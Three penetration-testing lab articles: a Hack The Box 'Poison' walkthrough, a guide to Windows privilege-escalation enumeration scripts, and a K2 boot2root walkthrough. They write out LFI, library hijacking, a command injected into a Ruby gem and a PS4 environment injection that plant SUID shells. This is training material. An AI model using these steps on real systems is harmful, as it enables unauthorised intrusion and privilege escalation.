Hack the box: Poison Walkthrough

Hello everyone and welcome to yet another CTF challenge from hack the box, called ‘Poison,’ which is available online for those who want to increase their skill in penetration testing and black box testing. Poison is a retired vulnerable lab presented by Hack the Box for making online penetration testing practice suitable to your experience level; they have a large collection of vulnerable labs as challenges, ranging from beginner to expert level.

Level: Easy

Task: Find user.txt and root.txt in victim’s machine

Methodology:

1.      Port scanning

2.      Using LFI to find username

3.      Gaining encrypted password file using LFI

4.      Decrypting password file

5.      Logging in to SSH using decrypted password

6.      Transferring ZIP file and extracting to find a secret file

7.      Discovery of VNC on machine

8.      VNC tunneling over SSH to get root shell

9.      Grabbing flag

Let’s get started then!

Since, these labs have a static IP, the IP address for poison is 10.10.10.84.

Let us scan the VM with the most popular port scanning tool, nmap.

Nmap –A 10.10.10.84

From the result above we found two working ports on the VM, port 22 and 80 which are universal default ports for SSH and HTTP.

We immediately headed over to the webpage.

It was crystal clear only by reading that there was an LFI vulnerability involved. We tested it by inputting /etc/passwd in the scriptname section.

Which led us to the following output

From here we found that the username was “charix.” But before moving on to that part we tried all the scriptnames one by one given in the previous webpage.

It was going all monotonous until we found an interesting textfile in the “listfiles.php” script.

The listfiles.php was a script that enumerated an array of the files

We found an interesting file called pwdbackup.txt. On opening it by the same process we found an encrypted password.

But it wasn’t a normal encryption, the password was encrypted 13 times. Just by looking we could tell that it was base64 encoding. So, we copied the password in a notepad file and removed the spaces between the password’s lines (present by default) and wrote the following command to decrypt it:

cat decode | base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 -d| base64 –d

Voila! The password was found to be Charix!2#4%6&8(0.

A complete logical shot in the dark was that it was the password to secure shell of the victim. So, we tried logging in to SSH.

ssh charix@10.10.10.84

ls

And just like that we were logged in! We found the first flag (user.txt) and another file called secret.zip

We tried unzipping it on the spot but it didn’t work. So, instead we transferred the file to our system using scp (complete article here)

scp charix@10.10.10.84:secret.zip /root/Desktop/

cd Desktop

unzip secret.zip

We got a file “secret” which could be the password of another service.

We were far from convinced that no other service was running so we scanned the victim using socat. (To read more: https://packages.debian.org/sid/sockstat)

Socat -4 -l

Port number 5901 and 5908 were open which clearly are the port numbers for VNC! This could be way in.

We followed the SSH tunneling methodology (refer here)

ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

IT will open up a shell. In a new terminal write:

vncviewer -passwd secret 127.0.0.1:5901

We saw authentication successful tag!

What was left now but to:

Ls

Cat root.txt

Window Privilege Escalation via Automated Script

We all know that, after compromising the victim’s machine we have a low-privileges shell that we want to escalate into a higher-privileged shell and this process is known as Privilege Escalation. Today in this article we will discuss what comes under privilege escalation and how an attacker can identify that low-privileges shell can be escalated to higher-privileged shell.

Table of Content

§  Introduction

§  Vectors of Privilege Escalation

§  Windows-Exploit-Suggester

§  Windows Gather Applied Patches

§  Sherlock

§  JAWS - Just Another Windows (Enum) Script

§  PowerUp

Introduction

Basically privilege escalation is a phase that comes after the attacker has compromised the victim’s machine where he try to gather critical information related to system such as hidden password and weak configured services or applications and etc. All these information help the attacker to make the post exploit against machine for getting higher-privileged shell.

Vectors Privilege Escalation

Following information are considered as critical Information of Windows System:

§  Version of operating system

§  Any Vulnerable package installed or running

§  Files and Folders with Full Control or Modify Access

§  Mapped Drives

§  Potentially Interesting Files

§  Unquoted Service Paths

§  Network Information (interfaces, arp, netstat)

§  Firewall Status and Rules

§  Running Processes

§  AlwaysInstallElevated Registry Key Check

§  Stored Credentials

§  DLL Hijacking

§  Scheduled Tasks

There are several script use in Penetration testing for quickly identify potential privilege escalation vectors on Windows systems and today we are going to elaborate each script which is working smoothly.

Windows-Exploit-Suggester

If you have victim’s low-privilege meterpreter or command session then use can use Exploit-Suggester.

This module suggests local meterpreter exploits that can be used. The exploits are suggested based on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter. It's important to note that not all local exploits will be fired. Exploits are chosen based on these conditions: session type, platform, architecture, and required default options.

use post/multi/recon/local_exploit_suggester

msf post(local_exploit_suggester) > set lhost 192.168.1.107

msf post(local_exploit_suggester) > set session 1

msf post(local_exploit_suggester) > exploit

As you can observe it has suggested some post exploits against which the target is vulnerable and that can provide higher-privilege shell.

Windows Gather Applied Patches

This module will attempt to enumerate which patches are applied to a windows system based on the result of the WMI query: SELECT HotFixID FROM Win32_QuickFixEngineering.

use post/windows/gather/enum_patches

msf post(enum_patches) > set session 1

msf post(enum_patches) > exploit

As you can observe it has also shown that the target is possibly vulnerable to recommended exploit that can provide higher-privilege shell.

Sherlock

It is a PowerShell script to quickly find the missing software patches for local privilege escalation vulnerabilities. It also as similar as above post exploit as gives suggestion the target is possibly vulnerable to recommended exploit that can provide higher-privilege shell.

Download it from git hub with help of following command and execute when you have victim’s meterpreter session at least once.

git clone https://github.com/rasta-mouse/Sherlock.git

Since this script should be execute in power shell therefore load power shell and then import the downloading script.

load powershell

powershell_import ‘/root/Desktop/Sherlock/Sherlock.ps1’

powershell_execute “find-allvulns”

The above command will show that the target is possibly vulnerable to recommended exploit that can be used to achieve higher-privilege shell.

JAWS - Just Another Windows (Enum) Script

JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. It is written using PowerShell 2.0 so 'should' run on every Windows version since Windows 7.

Current Features

·         Network Information (interfaces, arp, netstat)

·         Firewall Status and Rules

·         Running Processes

·         Files and Folders with Full Control or Modify Access

·         Mapped Drives

·         Potentially Interesting Files

·         Unquoted Service Paths

·         Recent Documents

·         System Install Files

·         AlwaysInstallElevated Registry Key Check

·         Stored Credentials

·         Installed Applications

·         Potentially Vulnerable Services

·         MuiCache Files

·         Scheduled Tasks

git clone https://github.com/411Hall/JAWS.git

Once you have meterpreter shell, upload the downloaded script and use command shell to run the uploaded script

powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

It will store the critical information into a text file named as “JAWS-Enum.txt

As said the JAWS-Enum.txt file must have been stored the vector that can lead to privilege escalation, let’s open it and figure out the result.

In the following image you can observe it has shown all user name and IP configuration.

In this image we can clearly observe the result of NetStat.

In this image we can clearly observe the result of running process and services.

In this image we can clearly observe all install program and patches.

In this image we can clearly observe the folder with full control and Modify Access and hence many more information can be extracted by running this script.

PowerUp

PowerUp is a powershell tool to assist with local privilege escalation on Windows systems. PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations.

Running Invoke-AllChecks will output any identifiable vulnerabilities along with specifications for any abuse functions. The -HTMLReport flag will also generate a COMPUTER.username.html version of the report.

Current Feature

Service Enumeration:

§  Get-ServiceUnquoted : -   returns services with unquoted paths that also have a space in the name.

§  Get-ModifiableServiceFile :-   returns services where the current user can write to the service binary path or its config.

§  Get-ModifiableService : -   returns services the current user can modify.

§  Get-ServiceDetail :-   returns detailed information about a specified service.

Service Abuse:

§  Invoke-ServiceAbuse :  -   modifies a vulnerable service to create a local admin or execute a custom command.

§  Write-ServiceBinary : -   writes out a patched C# service binary that adds a local admin or executes a custom command.

§  Install-ServiceBinary :-   replaces a service binary with one that adds a local admin or executes a custom command.

§  Restore-ServiceBinary :-   restores a replaced service binary with the original executable.

DLL Hijacking:

§  Find-ProcessDLLHijack : -   finds potential DLL hijacking opportunities for currently running processes

§  Find-PathDLLHijack :-   finds service %PATH% DLL hijacking opportunities

§  Write-HijackDll : -   writes out a hijackable DLL

Registry Checks:

§  Get-RegistryAlwaysInstallElevated :-  checks if the AlwaysInstallElevated registry key is set

§  Get-RegistryAutoLogon :-   checks for Autologon credentials in the registry

§  Get-ModifiableRegistryAutoRun :-   checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns.

Now use following command to download it from git hub as said above powerUp is the module of powersploit therefore we need to download package of powersploit.

git clone https://github.com/PowerShellMafia/PowerSploit.git

cd PowerSploit

ls

cd Privesc

ls

Again load power shell and then import the downloading script.

load powershell

powershell_import ‘/root/Desktop/PowerSploit/Privesc/PowerUp.ps1’

powershell_execute Invoke-AllChecks

The above command will show that the target is possibly vulnerable to recommended exploit that can be used to achieve higher-privilege shell.

Hack the /dev/random: K2 VM (boot2root)

Hello friends! Today we are going to take another CTF challenge known as /dev/random: k2. The credit for making this vm machine goes to “Sagi-” and it is another boot2root challenge in which our goal is to get root to complete the challenge. You can download this VM here.

Let us start form getting to know the IP of VM (Here, I have it at 192.168.199.138 but you will have to find your own

Netdiscover

We use the given credential to login through ssh. After loggin in we check the sudoers list and find that we can run /bin/calc as user “user2”.

ssh user@192.168.199.138

sudo -l

We use strace to debug the binary and if there are missing files or dependencies. We find there is a shared object file missing in /home/user/.config/ directory called libcalc.so.

strace /bin/calc 2>&1 | grep -i -E “open|access”

We check /home directory and find that the user directory has all permission for the owner only. We give read and execute permission to users in the same group and others. Then we created a directory called .config so that we can create our shared object inside it.

We created a binary that copy’s /bin/bash into /tmp directory, give it suid permission and run it.

We save the file as libcalc.c, then we compile and run the /bin/calc as user2. As soon as we run the application we check the id and find that we have successfully spawned a shell as user2.

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

sudo -u user2 /bin/calc

After spawning a shell as user2 we try to enumerate the machine and find that there is cronjob that runs a file called /sbin/bckup for user3.

We check the content of this file and find that it is a ruby script that creates a zip file in /tmp/ directory.

We check the zip library of that this ruby is using and find that we can write the file.

We change the content of the file and add that bash command to copy /bin/bash and save it in /tmp/ directory as bash2 and set suid bit.

echo ‘`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`’ > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb

We wait for some time and go to the /tmp/ directory. After changing the directory, we find bash2 has been created by user3. We run the new bash file and successfully spawn a shell as user3.

As we effective user id and not the actual used id of user3. We create a c program that spawns a shell as user3’s uid and gid.

We compile the program and run it. After running the program, we successfully spawn a shell with user3’s uid and gid.

gcc bash3.c -o bash3

Now we try find files with suid bit set and find a file called “whoisme” is “/usr/bin/local/” directory.

find / -perm -4000 2>/dev/null

When we run the file it outputs the string “user”. When we check binary file with strings command we find that it runs setuid, system, setgid and logname command.

We run by ignoring the enviroment we use PS4 variable to copy /bin/bash in /tmp/ directory as bash4 and change the ownership to root and set suid bit and run it along the binary file.

env -i SHELLOPTS=xstrace PS4=’$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)’ /bin/sh -c  ‘/usr/local/bin/whoisme’

As soon as we run the file we find our copied bash file. We run the file and spawn a shell as root user. We go to root directory and a file called flag.txt.

We take a look at the content of the file and find our congratulatory flag.